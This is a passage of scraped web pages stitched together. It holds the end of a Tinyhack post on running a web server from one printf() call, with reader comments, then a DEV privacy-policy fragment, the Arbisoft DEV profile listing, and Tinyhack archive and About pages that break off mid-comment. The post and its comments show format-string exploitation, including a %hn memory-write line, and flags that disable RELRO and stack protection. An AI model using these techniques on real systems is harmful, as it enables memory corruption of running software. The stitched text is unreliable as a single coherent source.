the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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We may also send you certain non-promotional communications regarding us and our Services, and you will not be able to opt out of those communications (e.g., communications regarding our Services or updates to our Terms or this Privacy Policy). Mobile Devices . We may send you push notifications through our mobile application. You may opt out from receiving these push notifications by changing the settings on your mobile device. "Do Not Track." Do Not Track (" DNT ") is a privacy preference that users can set in certain web browsers. Please note that we do not respond to or honor DNT signals or similar mechanisms transmitted by web browsers. Cookies and Interest-Based Advertising . You may stop or restrict the placement of Technologies on your device or remove them by adjusting your preferences as your browser or device permits. However, if you adjust your preferences, our Services may not work properly. Please note that cookie-based opt-outs are not effective on mobile applications. Please note you must separately opt out in each browser and on each device. Your Privacy Rights . In accordance with applicable law, you may have the right to: Access Personal Information about you, including: (i) confirming whether we are processing your personal information; (ii) obtaining access to or a copy of your personal information; Request Correction of your personal information where it is inaccurate, incomplete or outdated. In some cases, we may provide self-service tools that enable you to update your personal information; Request Deletion, Anonymization or Blocking of your personal information when processing is based on your consent or when processing is unnecessary, excessive or noncompliant; Request Restriction of or Object to our processing of your personal information when processing is noncompliant; Withdraw Your Consent to our processing of your personal information. If you refrain from providing personal information or withdraw your consent to processing, some features of our Service may not be available; Request Data Portability and Receive an Electronic Copy of Personal Information that You Have Provided to Us; Be Informed about third parties with which your personal information has been shared; and Request the Review of Decisions Taken Exclusively Based on Automated Processing if such decisions could affect your data subject rights. If you would like to exercise any of these rights, please contact us as set forth in "Contact Us" below. We will process such requests in accordance with applicable laws. 6. INTERNATIONAL DATA TRANSFERS All information processed by us may be transferred, processed, and stored anywhere in the world, including, but not limited to, the United States or other countries, which may have data protection laws that are different from the laws where you live. We always strive to safeguard your information consistent with the requirements of applicable laws. 7. RETENTION OF PERSONAL INFORMATION We store the personal information we collect as described in this Privacy Policy for as long as you use our Services or as necessary: to fulfill the purpose or purposes for which it was collected, to provide our Services, to resolve disputes, to establish legal defenses, to conduct audits, to pursue legitimate business purposes, to enforce our agreements, and to comply with applicable laws. 8. SUPPLEMENTAL DISCLOSURES FOR CALIFORNIA RESIDENTS Refer-a-Friend and Similar Incentive Programs . As described above in the How We Use Your Personal Information section ("Share Content with Friends or Colleagues" subsection), we may offer referral programs or other incentivized data collection programs. For example, we may offer incentives to you such as discounts or promotional items or credit in connection with these programs, wherein you provide your personal information in exchange for a reward, or provide personal information regarding your friends or colleagues (such as their email address) and receive rewards when they sign up to use our Services. (The referred party may also receive rewards for signing up via your referral.) These programs are entirely voluntary and allow us to grow our business and provide additional benefits to you. The value of your data to us depends on how you ultimately use our Services, whereas the value of the referred party's data to us depends on whether the referred party ultimately becomes a User or Forem Operator and uses our Services. Said value will be reflected in the incentive offered in connection with each program. Accessibility . This Privacy Policy uses industry-standard technologies and was developed in line with the World Wide Web Consortium's Web Content Accessibility Guidelines, version 2.1* . * If you wish to print this policy, please do so from your web browser or by saving the page as a PDF. California Shine the Light . The California "Shine the Light" law permits users who are California residents to request and obtain from us once a year, free of charge, a list of the third parties to whom we have disclosed their personal information (if any) for their direct marketing purposes in the prior calendar year, as well as the type of personal information disclosed to those parties. Right for Minors to Remove Posted Content . Where required by law, California residents under the age of 18 may request to have their posted content or information removed from the publicly-viewable portions of the Services by contacting us directly as set forth in the "Contact Us" section below or by logging into their account and removing the content or information using our self-service tools. 9. SUPPLEMENTAL NOTICE FOR NEVADA RESIDENTS If you are a resident of Nevada, you have the right to opt-out of the sale of certain Personal Information to third parties who intend to license or sell that Personal Information. You can exercise this right by contacting us as set forth in the "Contact Us\" section below with the subject line "Nevada Do Not Sell Request" and providing us with your name and the email address associated with your account. Please note that we do not currently sell your Personal Information as sales are defined in Nevada Revised Statutes Chapter 603A. If you have any questions, please contact us as set forth below. 10. CHILDREN'S INFORMATION The Services are not directed to children under 13 (or other age as required by local law), and we do not knowingly collect personal information from children. If you are a parent or guardian and believe your child has uploaded personal information to our site without your consent, you may contact us as described in the "Contact Us" section below. If we become aware that a child has provided us with personal information in violation of applicable law, we will delete any personal information we have collected, unless we have a legal obligation to keep it, and terminate the child's account if applicable. 11. OTHER PROVISIONS Third-Party Websites or Applications . The Services may contain links to other websites or applications, and other websites or applications may reference or link to our Services. These third-party services are not controlled by us. We encourage our users to read the privacy policies of each website and application with which they interact. We do not endorse, screen or approve, and are not responsible for, the privacy practices or content of such other websites or applications. Providing personal information to third-party websites or applications is at your own risk. Changes to Our Privacy Policy . We may revise this Privacy Policy from time to time in our sole discretion. If there are any material changes to this Privacy Policy, we will notify you as required by applicable law. You understand and agree that you will be deemed to have accepted the updated Privacy Policy if you continue to use our Services after the new Privacy Policy takes effect. 12. CONTACT US If you have any questions about our privacy practices or this Privacy Policy, or to exercise your rights as detailed in this Privacy Policy, please contact us at: support@dev.to . 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV HMPL.js Forem — For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . HMPL.js Forem © 2016 - 2026. Powerful templates, minimal JS Log in Create account | 2026-01-13T08:47:54 |
https://dev.to/arbisoftcompany | Arbisoft - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Follow User actions Arbisoft Arbisoft is a custom software development company and a chosen engineering partner for market leaders all over the world in a variety of verticals. Location 1700 Alma Dr, Suite 102 Plano TX Joined Joined on Sep 3, 2024 Personal website https://arbisoft.com/ Work Software Development Company More info about @arbisoftcompany Badges One Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least one year. Got it Close Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close Skills/Languages Our advanced tech stack includes languages like Python, Django, Java, JavaScript, Ruby, and Go, among others. Currently hacking on Arbisoft is your one-stop shop when it comes to your eLearning needs. Our Ed-tech services are designed to improve the learning experience and simplify educational operations. Available for We offer a range of services including enterprise software development, AI/ML solutions, software testing, design, DevOps, and cybersecurity. Post 89 posts published Comment 1 comment written Tag 40 tags followed Making Data Workflows Work: AI-Driven Automation for Reliable Enterprise Pipelines Arbisoft Arbisoft Arbisoft Follow Jan 6 Making Data Workflows Work: AI-Driven Automation for Reliable Enterprise Pipelines # ai # automation # dataengineering Comments Add Comment 2 min read Want to connect with Arbisoft ? Create an account to connect with Arbisoft . You can also sign in below to proceed if you already have an account. Create Account Already have an account? Sign in Why Smart ERPs Are Becoming the Decision Layer on Top of Data Lakes Arbisoft Arbisoft Arbisoft Follow Jan 5 Why Smart ERPs Are Becoming the Decision Layer on Top of Data Lakes Comments Add Comment 1 min read Sustainable AI Benchmarks Developers Will Be Asked About In 2026 Arbisoft Arbisoft Arbisoft Follow Jan 2 Sustainable AI Benchmarks Developers Will Be Asked About In 2026 # career # performance # ai # devops Comments Add Comment 3 min read Making Enterprise AI Work: Databricks Discipline That Drives Results Arbisoft Arbisoft Arbisoft Follow Jan 1 Making Enterprise AI Work: Databricks Discipline That Drives Results Comments Add Comment 2 min read Headless vs Traditional Commerce: Architecture Choices That Change How Teams Operate Arbisoft Arbisoft Arbisoft Follow Dec 19 '25 Headless vs Traditional Commerce: Architecture Choices That Change How Teams Operate Comments Add Comment 2 min read How AI Can Help Maintain Design Consistency in Low-Code Platforms Arbisoft Arbisoft Arbisoft Follow Dec 11 '25 How AI Can Help Maintain Design Consistency in Low-Code Platforms # ai # design # ux Comments Add Comment 3 min read Choosing Between a Software Development Firm and a Machine Learning Specialist in 2025 Arbisoft Arbisoft Arbisoft Follow Aug 25 '25 Choosing Between a Software Development Firm and a Machine Learning Specialist in 2025 Comments Add Comment 3 min read Why Shipping Vibe-Coded Prototypes to Production Breaks Products Arbisoft Arbisoft Arbisoft Follow Aug 21 '25 Why Shipping Vibe-Coded Prototypes to Production Breaks Products Comments Add Comment 2 min read The One Thing That Can Sink Your Outsourced ML Project, And How to Prevent It Arbisoft Arbisoft Arbisoft Follow Aug 19 '25 The One Thing That Can Sink Your Outsourced ML Project, And How to Prevent It Comments Add Comment 2 min read How Fast Can You Build and Deploy a Custom ML Model in 2025? Arbisoft Arbisoft Arbisoft Follow Aug 18 '25 How Fast Can You Build and Deploy a Custom ML Model in 2025? Comments Add Comment 2 min read What Are the First Steps to Integrating Predictive Data Analytics into Your Infrastructure? Arbisoft Arbisoft Arbisoft Follow Aug 18 '25 What Are the First Steps to Integrating Predictive Data Analytics into Your Infrastructure? Comments Add Comment 2 min read Hiring the Right Data, ML and AI Teams in 2025: A Founder’s Guide Arbisoft Arbisoft Arbisoft Follow Aug 18 '25 Hiring the Right Data, ML and AI Teams in 2025: A Founder’s Guide Comments Add Comment 3 min read Deciding if Outsourcing Data, AI, or ML Will Deliver Real ROI Arbisoft Arbisoft Arbisoft Follow Aug 15 '25 Deciding if Outsourcing Data, AI, or ML Will Deliver Real ROI Comments Add Comment 2 min read How Predictive Analytics Can Transform Your QA Process Arbisoft Arbisoft Arbisoft Follow Aug 13 '25 How Predictive Analytics Can Transform Your QA Process Comments Add Comment 2 min read Choosing the Right AI Team Model: Startups vs. Enterprises Arbisoft Arbisoft Arbisoft Follow Aug 13 '25 Choosing the Right AI Team Model: Startups vs. Enterprises Comments Add Comment 2 min read Dedicated AI/ML Project Teams in 2025: A Strategic Advantage or a Risk? Arbisoft Arbisoft Arbisoft Follow Aug 13 '25 Dedicated AI/ML Project Teams in 2025: A Strategic Advantage or a Risk? Comments Add Comment 2 min read From Data to Decisions: How Predictive Analytics Shapes Winning Business Strategies Arbisoft Arbisoft Arbisoft Follow Aug 13 '25 From Data to Decisions: How Predictive Analytics Shapes Winning Business Strategies Comments Add Comment 2 min read How Predictive Analytics Can Save You From the Next Costly IT Outage Arbisoft Arbisoft Arbisoft Follow Aug 12 '25 How Predictive Analytics Can Save You From the Next Costly IT Outage Comments Add Comment 2 min read What Criteria Should CTOs Use to Evaluate and Select an AI Vendor for Predictive Analytics Solutions? Arbisoft Arbisoft Arbisoft Follow Aug 12 '25 What Criteria Should CTOs Use to Evaluate and Select an AI Vendor for Predictive Analytics Solutions? Comments Add Comment 2 min read The Dark Side of Vibe-Coding: Debugging, Technical Debt & Security Risks Arbisoft Arbisoft Arbisoft Follow Aug 12 '25 The Dark Side of Vibe-Coding: Debugging, Technical Debt & Security Risks Comments Add Comment 3 min read AI Tools for MVP Development: Where They Help (and Where They Don’t) Arbisoft Arbisoft Arbisoft Follow Aug 12 '25 AI Tools for MVP Development: Where They Help (and Where They Don’t) Comments Add Comment 2 min read Predictive Analytics Isn’t a Trend. It’s a Business Imperative Arbisoft Arbisoft Arbisoft Follow Aug 8 '25 Predictive Analytics Isn’t a Trend. It’s a Business Imperative Comments Add Comment 2 min read Choosing Between Staff Augmentation, Dedicated Teams, or Outsourcing for AI/ML Projects? Here’s How I Decide Arbisoft Arbisoft Arbisoft Follow Aug 8 '25 Choosing Between Staff Augmentation, Dedicated Teams, or Outsourcing for AI/ML Projects? Here’s How I Decide Comments Add Comment 2 min read Scaling AI/ML Teams Fast? Here’s Why Staff Augmentation Might Be the Smartest Move Arbisoft Arbisoft Arbisoft Follow Aug 7 '25 Scaling AI/ML Teams Fast? Here’s Why Staff Augmentation Might Be the Smartest Move Comments Add Comment 2 min read How to Hire Machine Learning Engineers Who Actually Drive Business Value Arbisoft Arbisoft Arbisoft Follow Aug 7 '25 How to Hire Machine Learning Engineers Who Actually Drive Business Value Comments Add Comment 2 min read How to Tell If a Machine Learning Consulting Company Understands Your Use Case Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 How to Tell If a Machine Learning Consulting Company Understands Your Use Case Comments Add Comment 2 min read Hiring Machine Learning Engineers in 2025: What Actually Matters Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 Hiring Machine Learning Engineers in 2025: What Actually Matters Comments Add Comment 2 min read How to Vet an AI Development Company Before You Sign That Contract Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 How to Vet an AI Development Company Before You Sign That Contract Comments Add Comment 2 min read Build or Outsource? Making the Right Call for AI/ML Product Development Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 Build or Outsource? Making the Right Call for AI/ML Product Development Comments Add Comment 2 min read Getting AI Outsourcing Right: A Developer’s Playbook Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 Getting AI Outsourcing Right: A Developer’s Playbook Comments Add Comment 2 min read What You Should Actually Look for When Hiring a Data Engineer in 2025 Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 What You Should Actually Look for When Hiring a Data Engineer in 2025 Comments Add Comment 2 min read What Makes a Great AI Development Partner? Start with Their Tech Stack Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 What Makes a Great AI Development Partner? Start with Their Tech Stack # ai Comments Add Comment 2 min read Lessons from the Trenches: Choosing the Right AI Development Company Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 Lessons from the Trenches: Choosing the Right AI Development Company Comments Add Comment 2 min read Why Choosing the Wrong Data Engineering Partner Can Hurt More Than You Think Arbisoft Arbisoft Arbisoft Follow Aug 6 '25 Why Choosing the Wrong Data Engineering Partner Can Hurt More Than You Think Comments Add Comment 2 min read Should You Work with a Third-Party Data Engineering Team for Privacy Compliance? Arbisoft Arbisoft Arbisoft Follow Aug 1 '25 Should You Work with a Third-Party Data Engineering Team for Privacy Compliance? Comments Add Comment 2 min read How to Prepare Your Data and Goals Before Building Anything with ML Arbisoft Arbisoft Arbisoft Follow Jul 31 '25 How to Prepare Your Data and Goals Before Building Anything with ML Comments Add Comment 3 min read Choosing the Right AI Development Company: A Developer’s Checklist Arbisoft Arbisoft Arbisoft Follow Jul 31 '25 Choosing the Right AI Development Company: A Developer’s Checklist Comments Add Comment 2 min read Why Choosing the Wrong Data Engineering Partner Can Hurt More Than You Think Arbisoft Arbisoft Arbisoft Follow Jul 31 '25 Why Choosing the Wrong Data Engineering Partner Can Hurt More Than You Think Comments Add Comment 2 min read How AI Can Reduce Operational Costs Without Replacing Your Team: A Smarter, Human-Centric Strategy Arbisoft Arbisoft Arbisoft Follow Jun 2 '25 How AI Can Reduce Operational Costs Without Replacing Your Team: A Smarter, Human-Centric Strategy Comments Add Comment 4 min read The MVP Partner Checklist Every Startup Needs in 2025 Arbisoft Arbisoft Arbisoft Follow May 30 '25 The MVP Partner Checklist Every Startup Needs in 2025 Comments Add Comment 3 min read How to Migrate from Apache Spark to Databricks Arbisoft Arbisoft Arbisoft Follow May 29 '25 How to Migrate from Apache Spark to Databricks Comments Add Comment 3 min read Why Databricks is the Next Step for Your Data Platform (and How to Get There from Snowflake) Arbisoft Arbisoft Arbisoft Follow May 24 '25 Why Databricks is the Next Step for Your Data Platform (and How to Get There from Snowflake) # databricks # snowflake Comments Add Comment 2 min read How to Migrate to Odoo from NetSuite Arbisoft Arbisoft Arbisoft Follow May 20 '25 How to Migrate to Odoo from NetSuite # odoo # erp 2 reactions Comments Add Comment 7 min read What’s the hype about Kimi AI? Arbisoft Arbisoft Arbisoft Follow Mar 4 '25 What’s the hype about Kimi AI? # ai # openai 5 reactions Comments Add Comment 3 min read Claude 3.7 and the Evolution of Reasoning Models Arbisoft Arbisoft Arbisoft Follow Mar 2 '25 Claude 3.7 and the Evolution of Reasoning Models # claude # ai # openai # webdev Comments Add Comment 2 min read Google Quietly Launches Gemini 2.0 Flash and other models Arbisoft Arbisoft Arbisoft Follow Feb 14 '25 Google Quietly Launches Gemini 2.0 Flash and other models # google # ai # googlecloud # gemini Comments Add Comment 2 min read AI Face-Off: DeepSeek R1 vs. OpenAI’s o1 — Which One is Smarter? Arbisoft Arbisoft Arbisoft Follow Feb 11 '25 AI Face-Off: DeepSeek R1 vs. OpenAI’s o1 — Which One is Smarter? # ai # deepseek # openai Comments Add Comment 3 min read Is Alibaba's Qwen2.5-Max Doing Something Extraordinary? 👀 Arbisoft Arbisoft Arbisoft Follow Feb 6 '25 Is Alibaba's Qwen2.5-Max Doing Something Extraordinary? 👀 # news # ai # learning # openai 2 reactions Comments 2 comments 3 min read DeepSeek AI: Everything you need to know! Arbisoft Arbisoft Arbisoft Follow Jan 28 '25 DeepSeek AI: Everything you need to know! # deepseek # ai # openai Comments Add Comment 2 min read Microcopy in UX Writing 🤯 Arbisoft Arbisoft Arbisoft Follow Jan 27 '25 Microcopy in UX Writing 🤯 # ux # ui # design # writing Comments Add Comment 2 min read Trump Administration's $500B Stargate AI Project Sparks Ambition and Controversy in the Global AI Race 👀 Arbisoft Arbisoft Arbisoft Follow Jan 24 '25 Trump Administration's $500B Stargate AI Project Sparks Ambition and Controversy in the Global AI Race 👀 # ai # trump # stargateai Comments Add Comment 2 min read Building a Positive Work Environment ✨ Tips for Tech Leaders Arbisoft Arbisoft Arbisoft Follow Jan 16 '25 Building a Positive Work Environment ✨ Tips for Tech Leaders # techleaders # workplace # career Comments Add Comment 3 min read Adaptive Learning for Neurodivergent Students Arbisoft Arbisoft Arbisoft Follow Jan 13 '25 Adaptive Learning for Neurodivergent Students # adaptivelearning # edtech # ai 1 reaction Comments Add Comment 2 min read How Close Are We To Artificial Superintelligence? Arbisoft Arbisoft Arbisoft Follow Jan 9 '25 How Close Are We To Artificial Superintelligence? # superintelegence # ai # artificialsuperintelegence # learning Comments Add Comment 2 min read Color Theory in UI Design Arbisoft Arbisoft Arbisoft Follow Jan 8 '25 Color Theory in UI Design # ui # uidesign # designpatterns # designsystem Comments Add Comment 2 min read The Next Wave of AI: What 2025 Could Hold Arbisoft Arbisoft Arbisoft Follow Jan 7 '25 The Next Wave of AI: What 2025 Could Hold # ai # programming # learning Comments Add Comment 4 min read Google Launches Willow: New Chip That's Septillion Times Faster Arbisoft Arbisoft Arbisoft Follow Dec 20 '24 Google Launches Willow: New Chip That's Septillion Times Faster # willow # google # ai 2 reactions Comments Add Comment 1 min read Meet Devin: The AI Coding Agent Arbisoft Arbisoft Arbisoft Follow Dec 20 '24 Meet Devin: The AI Coding Agent # devinai # ai # coding 4 reactions Comments 1 comment 1 min read The Limitations of Machine Learning: What We Still Can't Teach Machines Arbisoft Arbisoft Arbisoft Follow Dec 16 '24 The Limitations of Machine Learning: What We Still Can't Teach Machines # machinelearning # ai Comments Add Comment 2 min read Federated Learning: The Future of Privacy-Preserving Machine Learning Arbisoft Arbisoft Arbisoft Follow Dec 11 '24 Federated Learning: The Future of Privacy-Preserving Machine Learning # federatedlearning # cybersecurity # cyberthreats # machinelearning Comments Add Comment 2 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://tinyhack.com/archive/ | Archive – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Archive 2 thoughts on “Archive” Michael Packard says: November 7, 2009 at 1:26 pm I have been having great fun with the Apple II emulator for the Wii. The only real problem I have with is is selecting disk images – I have over 800 of them on my sd card (downloaded the whole asimov archive!), and even when separated into folders alphabetically, the emulator chokes for several MINUTES when I go select a folder with, say, 75-100 disk images. Eventually it shows me the file list, but it takes forever. Can you fix this? I’d like to explore what is available for the apple, but it’s REALLY hard when it takes so long to just open one of many folders I have. Otherwise it’s a fantastic emulator. Thanx. Reply Abel Miranda says: February 19, 2022 at 7:07 pm Love the apple II emulator. Is there a way to emulate the Apple IIGS on the Wii? Thank you Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
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https://tinyhack.com/about/#comment-172507 | About – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. About My name is Yohanes Nugroho, I am an Indonesian programmer in a Software Company in Chiang Mai. In my spare time, I like to do programming. I have written many free and opensource software for many platforms . 31 thoughts on “About” Namik Tirak says: July 12, 2008 at 11:14 pm Hi, I have a FT3563-BT . I want to using debian on NAS like you. Can you make a frimware “xxxx.bin” to upgrade. Namik Best Regards. Reply gh1f4r says: July 22, 2008 at 11:20 am ” In my spare time, I like to do programming ” Luar biasa hobby-nya 🙂 Kapan aku bisa berguru ? Reply [email protected] says: July 22, 2008 at 6:25 pm need to know much about brontok..aomeone who know about brontok pls email me… Reply Wutipong W. says: August 15, 2008 at 1:31 am Hi, Your works with Agestar’s NAS is really interesting. I’ve just purchase one today and I’m thinking about trying to install Linux to it (would love to see it runs Gentoo). I’m a programmer too, but I don’t have much experience programing open source stuff (especially Linux). How’s the whether in Chaing Mai, it’s quite hot with rain in Bangkok. I’m looking for a chance to visit Chaing Mai some time :). Reply Silvina says: August 17, 2008 at 1:56 am Hi, I’m Silvina. I’ve used msgexport from march to july without a problem, you give me the solution for a big problem : to store my sms in a unique file. But I had a problem, I’ve updated my n95’s firmware to the last version, and I tryied to install the application once again and it gives me a certificate error. What can I do? Greetings, and thanks once again for the application. Silvina. Reply pebbie says: August 19, 2008 at 4:52 pm 😀 baru baca yang tentang kritik teknis Nusa.. 😀 ternyata ada yang nanggapin serius.. Reply yohanes says: August 19, 2008 at 9:45 pm @Wutipong: the weather is fine here. Many rains. I hope you have a good luck with your install. @Silvina: try redownloading the latest version. Reply zz says: September 24, 2008 at 11:47 am Try This product I think it better than AgeStar http://www.final4u.com/store/35-inch-hdd-nas-with-print-server-and-bit-torrent-p-9228.html Reply yohanes says: September 24, 2008 at 1:24 pm Hi zz What do you mean by better? I can’t find any review for it (or even the official product page for it), and from the specification, I think it has the same feature as Agestar. Reply zz says: September 24, 2008 at 10:20 pm I think it too.. , I cannot found any more information too.. I’m using NSLU2 , It very slow to run debian-arm,I think it not much ram to run , same Agestar ( ram 32 / flash 8) Reply zz says: September 25, 2008 at 6:23 pm Sorry I just saw real product I think performance same Agestar it using ram v58c2256164 and flash EN29LV640H Reply anacron says: October 2, 2008 at 5:47 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Reply yohanes says: October 2, 2008 at 10:09 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? With the debian firmware, you can still use agestar as normal USB port (but you should shut it down using the shutdown command to make sure that all cache have been written to disk). can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Theoretically you should be able to attach any USB device to agestar, I only tried using USB to network adapter when developing the network driver and several USB disk, and everthyng works fine Regarding your idea about audio, because NSLU2 is a little bit more powerful (little bit faster, same memory) compared to Agestar, I look around to see if someone else has done it before. From the information in here: http://www.hermann-uwe.de/blog/playing-audio-on-the-nslu2 I tried madplay, and because i don’t have a USB audio device, i tried writing to device NULL, and it took 1 minute 5 seconds to decode a music file of 4 minutes 11 seconds. I also tried writing the decoded mp3 to file and it took 1 minute 36 seconds to decode. The decoding time is much faster than real time, so it seems the CPU in the Agestar is powerful enough to play MP3. (note: i also tried mplayer, and as he said it doesn’t work) Reply Bruce M Simpson says: October 14, 2008 at 3:41 pm I received a reply from Cavium about the STR9104. There are downloadable GPLed materials here: 